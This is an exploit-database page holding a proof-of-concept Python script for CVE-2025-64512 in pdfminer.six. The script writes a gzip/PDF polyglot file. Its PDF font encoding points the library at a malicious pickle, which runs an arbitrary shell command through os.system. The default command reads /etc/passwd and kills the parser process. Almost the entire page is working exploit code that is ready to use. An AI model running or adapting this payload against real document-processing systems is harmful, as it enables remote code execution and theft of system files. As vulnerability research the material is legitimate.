Exploit database

GH-90842a56539ad2de00644a858b0acad4

luigigubello/cve-2025-64512-polyglot-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-64512

3 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files5
luigigubello/cve-2025-64512-polyglot-pocRevision bf4a139ff202

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2025-64512.py

Python · 3,129 bytes
import gzip
import pickle
import argparse

parser = argparse.ArgumentParser(description="Generate polyglot file for CVE-2025-64512")
parser.add_argument('--output', '-o', default='payload.pickle.gz', help='Output filename (default: payload.pickle.gz)')
parser.add_argument('--path', '-p', default='#2Fopt#2FPoC#2Fpayload', help='Encoding path in PDF (default: #2Fopt#2FPoC#2Fpayload)')
parser.add_argument('--command', '-c', default='cat /etc/passwd; pkill -f pdf2txt.py;', help='Command to execute (default: cat /etc/passwd; pkill -f pdf2txt.py;)')
args = parser.parse_args()

out_gz = args.output
encoding_path = args.path
command_injection = args.command

# PoC pickle (pdfminer.six == 20250506)
class RCE:
    def __init__(self, cmd):
        self.cmd = cmd

    def __reduce__(self):
        os_module = __builtins__.__import__('os')
        return (os_module.system, (self.cmd,))

class PoC:
    def __reduce__(self):
        return (print, ("Arbitrary code executed ✅",))

pickled = pickle.dumps(RCE(command_injection))

# Construct PDF bytes with dynamic encoding
pdf_template = """% CVE-2025-64512 PoC
% https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp
%PDF-1.4
1 0 obj
<<
/Type /Catalog
/Pages 2 0 R
>>
endobj

2 0 obj
<<
/Type /Pages
/Kids [3 0 R]
/Count 1
>>
endobj

3 0 obj
<<
/Type /Page
/Parent 2 0 R
/MediaBox [0 0 612 792]
/Contents 4 0 R
/Resources
<<
/Font
<<
/F1 5 0 R
>>
>>
>>
endobj

4 0 obj
<<
/Length 44
>>
stream
BT
/F1 12 Tf
100 700 Td
(Malicious PDF) Tj
ET
endstream
endobj

5 0 obj
<<
/Type /Font
/Subtype /Type0
/BaseFont /MaliciousFont-Identity-H
/Encoding /{replacement}
/DescendantFonts [6 0 R]
>>
endobj

6 0 obj
<<
/Type /Font
/Subtype /CIDFontType2
/BaseFont /MaliciousFont
/CIDSystemInfo
<<
/Registry (Adobe)
/Ordering (Identity)
/Supplement 0
>>
/FontDescriptor 7 0 R
>>
endobj

7 0 obj
<<
/Type /FontDescriptor
/FontName /MaliciousFont
/Flags 4
/FontBBox [-1000 -1000 1000 1000]
/ItalicAngle 0
/Ascent 1000
/Descent -200
/CapHeight 800
/StemV 80
>>
endobj

xref
0 8
0000000000 65535 f
0000000009 00000 n
0000000058 00000 n
0000000115 00000 n
0000000274 00000 n
0000000370 00000 n
0000000503 00000 n
0000000673 00000 n
trailer
<<
/Size 8
/Root 1 0 R
>>
startxref
871
%%EOF
"""

pdf_bytes = pdf_template.format(replacement=encoding_path).encode('utf-8')

base_gz = gzip.compress(pickled)
if len(base_gz) < 10:
    raise SystemExit("GZIP broken")

gz = bytearray(base_gz)
gz[3] |= 0x10  # set FCOMMENT flag

comment_data = b"\n" + pdf_bytes + b'\x00'

# Insert the Comment into the GZIP stream 
# after basic 10-byte gzip header
new_gz = bytearray()
new_gz += gz[:10]
new_gz += comment_data    
new_gz += gz[10:] 

with open(out_gz, "wb") as f:
    f.write(new_gz)

print("PoC Payload:", out_gz)
if new_gz.find(b'%PDF-'):
    print("%PDF offset found: ", new_gz.find(b'%PDF-'))
else:
    print("❌ PDF offset not found")

# print("\nTest GZIP:")
# try:
#     with gzip.open(out_gz, 'rb') as f:
#         d = f.read()
#     pickle.loads(d)
#     print("✅ GZIP decompressed and unpickled successfully")
# except Exception as e:
#     print(f"❌ Error: {e}")